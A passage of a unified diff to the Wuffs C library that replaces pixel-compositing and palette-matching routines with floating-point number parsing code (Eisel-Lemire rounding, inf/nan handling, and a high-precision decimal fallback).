((uint32_t)(palette_slice.ptr[(4 * i) + 2])); +- uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); +- +- // Convert to premultiplied alpha. +- if (nonpremul && (pa != 0xFFFF)) { +- pb = (pb * pa) / 0xFFFF; +- pg = (pg * pa) / 0xFFFF; +- pr = (pr * pa) / 0xFFFF; +- } +- +- // These deltas are conceptually int32_t (signed) but after squaring, +- // it's equivalent to work in uint32_t (unsigned). +- pb -= cb; +- pg -= cg; +- pr -= cr; +- pa -= ca; +- uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + +- ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); +- if (best_score > score) { +- best_score = score; +- best_index = i; +- } +- } +- break; +- } ++ // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit ++ // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether ++ // it was on or off, shifting right by one then produces a 53-bit number. If ++ // carrying up overflowed, shift again. ++ ret_mantissa += ret_mantissa & 1; ++ ret_mantissa >>= 1; ++ // This if block is equivalent to (but benchmarks slightly faster than) the ++ // following branchless form: ++ // uint64_t overflow_adjustment = ret_mantissa >> 53; ++ // ret_mantissa >>= overflow_adjustment; ++ // ret_exp2 += overflow_adjustment; ++ // ++ // For example, parsing "7.2057594037927933e+16" will take the if-true ++ // branch here, since: ++ // - x_hi = 0x7FFFFFFFFFFFFE80 ++ // - ret_mantissa = 0x0020000000000000 ++ if ((ret_mantissa >> 53) > 0) { ++ ret_mantissa >>= 1; ++ ret_exp2++; + } + +- return (uint8_t)best_index; ++ // Starting with a 53-bit number, IEEE 754 double-precision normal numbers ++ // have an implicit mantissa bit. Mask that away and keep the low 52 bits. ++ ret_mantissa &= 0x000FFFFFFFFFFFFF; ++ ++ // Pack the bits and return. ++ return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); + } + + // -------- + +-static inline uint32_t // +-wuffs_base__composite_nonpremul_nonpremul_u32_axxx(uint32_t dst_nonpremul, +- uint32_t src_nonpremul) { +- // Extract 16-bit color components. +- // +- // If the destination is transparent then SRC_OVER is equivalent to SRC: just +- // return src_nonpremul. This isn't just an optimization (skipping the rest +- // of the function's computation). It also preserves the nonpremul +- // distinction between e.g. transparent red and transparent blue that would +- // otherwise be lost by converting from nonpremul to premul and back. +- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); +- if (da == 0) { +- return src_nonpremul; +- } +- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); +- +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++static wuffs_base__result_f64 // ++wuffs_private_impl__parse_number_f64_special(wuffs_base__slice_u8 s, ++ uint32_t options) { ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { ++ goto fail; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ if (p >= q) { ++ goto fail; ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Parse sign. ++ bool negative = false; ++ do { ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ negative = true; ++ p++; ++ } else { ++ break; ++ } ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } while (0); ++ if (p >= q) { ++ goto fail; ++ } + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++ bool nan = false; ++ switch (p[0]) { ++ case 'I': ++ case 'i': ++ if (((q - p) < 3) || // ++ ((p[1] != 'N') && (p[1] != 'n')) || // ++ ((p[2] != 'F') && (p[2] != 'f'))) { ++ goto fail; ++ } ++ p += 3; + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ if ((p >= q) || (*p == '_')) { ++ break; ++ } else if (((q - p) < 5) || // ++ ((p[0] != 'I') && (p[0] != 'i')) || // ++ ((p[1] != 'N') && (p[1] != 'n')) || // ++ ((p[2] != 'I') && (p[2] != 'i')) || // ++ ((p[3] != 'T') && (p[3] != 't')) || // ++ ((p[4] != 'Y') && (p[4] != 'y'))) { ++ goto fail; ++ } ++ p += 5; + +-static inline uint64_t // +-wuffs_base__composite_nonpremul_nonpremul_u64_axxx(uint64_t dst_nonpremul, +- uint64_t src_nonpremul) { +- // Extract components. +- // +- // If the destination is transparent then SRC_OVER is equivalent to SRC: just +- // return src_nonpremul. This isn't just an optimization (skipping the rest +- // of the function's computation). It also preserves the nonpremul +- // distinction between e.g. transparent red and transparent blue that would +- // otherwise be lost by converting from nonpremul to premul and back. +- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); +- if (da == 0) { +- return src_nonpremul; +- } +- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); +- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); +- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); +- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); +- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); +- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); +- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); ++ if ((p >= q) || (*p == '_')) { ++ break; ++ } ++ goto fail; + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ case 'N': ++ case 'n': ++ if (((q - p) < 3) || // ++ ((p[1] != 'A') && (p[1] != 'a')) || // ++ ((p[2] != 'N') && (p[2] != 'n'))) { ++ goto fail; ++ } ++ p += 3; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; ++ if ((p >= q) || (*p == '_')) { ++ nan = true; ++ break; ++ } ++ goto fail; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ default: ++ goto fail; ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Finish. ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ if (p != q) { ++ goto fail; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | ++ (negative ? 0x8000000000000000 : 0)); ++ return ret; ++ } while (0); + +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++fail: ++ do { ++ wuffs_base__result_f64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + } + +-static inline uint32_t // +-wuffs_base__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, +- uint32_t src_premul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // ++wuffs_private_impl__high_prec_dec__to_f64(wuffs_private_impl__high_prec_dec* h, ++ uint32_t options) { ++ do { ++ // powers converts decimal powers of 10 to binary powers of 2. For example, ++ // (10000 >> 13) is 1. It stops before the elements exceed 60, also known ++ // as WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++ // ++ // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array ++ // element value rounds up (1<<14 is an upper bound for 1e4) while staying ++ // at or below WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++ // ++ // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), ++ // powers[2] == 6 and so: ++ // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = ++ // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. ++ // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = ++ // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. ++ // ++ // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), ++ // powers[2] == 6 and so: ++ // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = ++ // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. ++ // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = ++ // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. ++ // ++ // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) ++ // when right shifting but (powers[n]+1) when left shifting. ++ static const uint32_t num_powers = 19; ++ static const uint8_t powers[19] = { ++ 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // ++ 33, 36, 39, 43, 46, 49, 53, 56, 59, // ++ }; + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ // Handle zero and obvious extremes. The largest and smallest positive ++ // finite f64 values are approximately 1.8e+308 and 4.9e-324. ++ if ((h->num_digits == 0) || (h->decimal_point < -326)) { ++ goto zero; ++ } else if (h->decimal_point > 310) { ++ goto infinity; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) ++ // pair from the high_prec_dec h is more correct but slower than the ++ // approach taken in wuffs_base__parse_number_f64. The latter is optimized ++ // for the common cases (e.g. assuming no underscores or a leading '+' ++ // sign) rather than the full set of cases allowed by the Wuffs API. ++ // ++ // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying ++ // for an exact result). When we have more than 19 mantissa digits, run it ++ // twice to get a lower and upper bound. We still have an exact result ++ // (within f64's rounding margin) if both bounds are equal (and valid). ++ uint32_t i_max = h->num_digits; ++ if (i_max > 19) { ++ i_max = 19; ++ } ++ int32_t exp10 = h->decimal_point - ((int32_t)i_max); ++ if ((-307 <= exp10) && (exp10 <= 288)) { ++ uint64_t man = 0; ++ uint32_t i; ++ for (i = 0; i < i_max; i++) { ++ man = (10 * man) + h->digits[i]; ++ } ++ while (man != 0) { // The 'while' is just an 'if' that we can 'break'. ++ int64_t r0 = ++ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 0, exp10); ++ if (r0 < 0) { ++ break; ++ } else if (h->num_digits > 19) { ++ int64_t r1 = ++ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 1, exp10); ++ if (r1 != r0) { ++ break; ++ } ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); ++ return ret; ++ } ++ } + +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++ // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See ++ // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html ++ // ++ // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, ++ // that h->decimal_point is +0 or +1. ++ // ++ // First we shift right while at or above 10... ++ const int32_t f64_bias = -1023; ++ int32_t exp2 = 0; ++ while (h->decimal_point > 1) { ++ uint32_t n = (uint32_t)(+h->decimal_point); ++ uint32_t shift = (n < num_powers) ++ ? powers[n] ++ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, shift); ++ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ goto zero; ++ } ++ exp2 += (int32_t)shift; ++ } ++ // ...then we shift left while below 0.1. ++ while (h->decimal_point < 0) { ++ uint32_t shift; ++ uint32_t n = (uint32_t)(-h->decimal_point); ++ shift = (n < num_powers) ++ // The +1 is per "when targeting h->decimal_point being +0 or ++ // +1... when left shifting" in the powers comment above. ++ ? (powers[n] + 1u) ++ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++ wuffs_private_impl__high_prec_dec__small_lshift(h, shift); ++ if (h->decimal_point > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ goto infinity; ++ } ++ exp2 -= (int32_t)shift; ++ } + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which ++ // will give us our exponent in base-2), the mantissa's first 3 digits will ++ // determine the final left shift, equal to 52 (the number of explicit f64 ++ // bits) plus an additional adjustment. ++ int man3 = (100 * h->digits[0]) + ++ ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + ++ ((h->num_digits > 2) ? h->digits[2] : 0); ++ int32_t additional_lshift = 0; ++ if (h->decimal_point == 0) { // The value is in [0.1 .. 1]. ++ if (man3 < 125) { ++ additional_lshift = +4; ++ } else if (man3 < 250) { ++ additional_lshift = +3; ++ } else if (man3 < 500) { ++ additional_lshift = +2; ++ } else { ++ additional_lshift = +1; ++ } ++ } else { // The value is in [1 .. 10]. ++ if (man3 < 200) { ++ additional_lshift = -0; ++ } else if (man3 < 400) { ++ additional_lshift = -1; ++ } else if (man3 < 800) { ++ additional_lshift = -2; ++ } else { ++ additional_lshift = -3; ++ } ++ } ++ exp2 -= additional_lshift; ++ uint32_t final_lshift = (uint32_t)(52 + additional_lshift); + +-static inline uint64_t // +-wuffs_base__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, +- uint64_t src_premul) { +- // Extract components. +- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); +- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); +- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); +- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); +- uint64_t sa = 0xFFFF & (src_premul >> 48); +- uint64_t sr = 0xFFFF & (src_premul >> 32); +- uint64_t sg = 0xFFFF & (src_premul >> 16); +- uint64_t sb = 0xFFFF & (src_premul >> 0); ++ // The minimum normal exponent is (f64_bias + 1). ++ while ((f64_bias + 1) > exp2) { ++ uint32_t n = (uint32_t)((f64_bias + 1) - exp2); ++ if (n > WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ n = WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, n); ++ exp2 += (int32_t)n; ++ } + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ // Check for overflow. ++ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. ++ goto infinity; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; ++ // Extract 53 bits for the mantissa (in base-2). ++ wuffs_private_impl__high_prec_dec__small_lshift(h, final_lshift); ++ uint64_t man2 = wuffs_private_impl__high_prec_dec__rounded_integer(h); + +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++ // Rounding might have added one bit. If so, shift and re-check overflow. ++ if ((man2 >> 53) != 0) { ++ man2 >>= 1; ++ exp2++; ++ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. ++ goto infinity; ++ } ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Handle subnormal numbers. ++ if ((man2 >> 52) == 0) { ++ exp2 = f64_bias; ++ } + +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); +-} ++ // Pack the bits and return. ++ uint64_t exp2_bits = ++ (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. ++ uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. ++ (exp2_bits << 52) | // ++ (h->negative ? 0x8000000000000000 : 0); // (1 << 63). + +-static inline uint32_t // +-wuffs_base__composite_premul_nonpremul_u32_axxx(uint32_t dst_premul, +- uint32_t src_nonpremul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++zero: ++ do { ++ uint64_t bits = h->negative ? 0x8000000000000000 : 0; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++infinity: ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { ++ wuffs_base__result_f64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; + +-static inline uint64_t // +-wuffs_base__composite_premul_nonpremul_u64_axxx(uint64_t dst_premul, +- uint64_t src_nonpremul) { +- // Extract components. +- uint64_t da = 0xFFFF & (dst_premul >> 48); +- uint64_t dr = 0xFFFF & (dst_premul >> 32); +- uint64_t dg = 0xFFFF & (dst_premul >> 16); +- uint64_t db = 0xFFFF & (dst_premul >> 0); +- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); +- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); +- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); +- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; +- +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; +- +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + } + +-static inline uint32_t // +-wuffs_base__composite_premul_premul_u32_axxx(uint32_t dst_premul, +- uint32_t src_premul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; +- +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); +- +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; +- +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); ++static inline bool // ++wuffs_private_impl__is_decimal_digit(uint8_t c) { ++ return ('0' <= c) && (c <= '9'); + } + +-// -------- ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // ++wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { ++ // In practice, almost all "dd.ddddE±xxx" numbers can be represented ++ // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 ++ // exponent, adjusting "xxx" for the position (if present) of the decimal ++ // separator '.' or ','. ++ // ++ // This (u64 man, i32 exp10) data structure is superficially similar to the ++ // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent ++ // here is base-10, not base-2. ++ // ++ // If s's number fits in a (man, exp10), parse that pair with the ++ // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with ++ // the fallback algorithm is slower but comprehensive. ++ // ++ // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" ++ // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). ++ // Florian Loitsch is also the primary contributor to ++ // https://github.com/google/double-conversion ++ do { ++ // Calculating that (man, exp10) pair needs to stay within s's bounds. ++ // Provided that s isn't extremely long, work on a NUL-terminated copy of ++ // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". ++ // ++ // As the pointer p walks the contents, it's faster to repeatedly check "is ++ // *p a valid digit" than "is p within bounds and *p a valid digit". ++ if (s.len >= 256) { ++ goto fallback; ++ } ++ uint8_t z[256]; ++ memcpy(&z[0], s.ptr, s.len); ++ z[s.len] = 0; ++ const uint8_t* p = &z[0]; + +-static uint64_t // +-wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888(uint8_t* dst_ptr, +- size_t dst_len, +- const uint8_t* src_ptr, +- size_t src_len, +- bool nonpremul) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Look for a leading minus sign. Technically, we could also look for an ++ // optional plus sign, but the "script/process-json-numbers.c with -p" ++ // benchmark is noticably slower if we do. It's optional and, in practice, ++ // usually absent. Let the fallback catch it. ++ bool negative = (*p == '-'); ++ if (negative) { ++ p++; ++ } + +- size_t n = len; +- while (n--) { +- uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); +- if (nonpremul) { +- argb = +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); ++ // After walking "dd.dddd", comparing p later with p now will produce the ++ // number of "d"s and "."s. ++ const uint8_t* const start_of_digits_ptr = p; ++ ++ // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', ++ // it must be a single '0'. If it starts with a non-zero decimal digit, it ++ // can be a sequence of decimal digits. ++ // ++ // Update the man variable during the walk. It's OK if man overflows now. ++ // We'll detect that later. ++ uint64_t man; ++ if (*p == '0') { ++ man = 0; ++ p++; ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ } else if (wuffs_private_impl__is_decimal_digit(*p)) { ++ man = ((uint8_t)(*p - '0')); ++ p++; ++ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ } ++ } else { ++ goto fallback; + } +- uint32_t b5 = 0x1F & (argb >> (8 - 5)); +- uint32_t g6 = 0x3F & (argb >> (16 - 6)); +- uint32_t r5 = 0x1F & (argb >> (24 - 5)); +- uint32_t alpha = argb & 0xFF000000; +- wuffs_base__poke_u32le__no_bounds_check( +- d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); +- s += 4; +- d += 4; +- } +- return len; +-} + +-// -------- ++ // Walk the "d"s after the optional decimal separator ('.' or ','), ++ // updating the man and exp10 variables. ++ int32_t exp10 = 0; ++ if (*p == ++ ((options & WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ const uint8_t* first_after_separator_ptr = p; ++ if (!wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ p++; ++ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { ++ man = (10 * man) + ((uint8_t)(*p - '0')); ++ } ++ exp10 = ((int32_t)(first_after_separator_ptr - p)); ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgb_bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Count the number of digits: ++ // - for an input of "314159", digit_count is 6. ++ // - for an input of "3.14159", digit_count is 7. ++ // ++ // This is off-by-one if there is a decimal separator. That's OK for now. ++ // We'll correct for that later. The "script/process-json-numbers.c with ++ // -p" benchmark is noticably slower if we try to correct for that now. ++ uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); + +- size_t n = len; +- while (n--) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; +- s += 3; +- d += 3; +- } +- return len; +-} ++ // Update exp10 for the optional exponent, starting with 'E' or 'e'. ++ if ((*p | 0x20) == 'e') { ++ p++; ++ int32_t exp_sign = +1; ++ if (*p == '-') { ++ p++; ++ exp_sign = -1; ++ } else if (*p == '+') { ++ p++; ++ } ++ if (!wuffs_private_impl__is_decimal_digit(*p)) { ++ goto fallback; ++ } ++ int32_t exp_num = ((uint8_t)(*p - '0')); ++ p++; ++ // The rest of the exp_num walking has a peculiar control flow but, once ++ // again, the "script/process-json-numbers.c with -p" benchmark is ++ // sensitive to alternative formulations. ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ if (wuffs_private_impl__is_decimal_digit(*p)) { ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ while (wuffs_private_impl__is_decimal_digit(*p)) { ++ if (exp_num > 0x1000000) { ++ goto fallback; ++ } ++ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); ++ p++; ++ } ++ exp10 += exp_sign * exp_num; ++ } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t len = (dst_len < src_len ? dst_len : 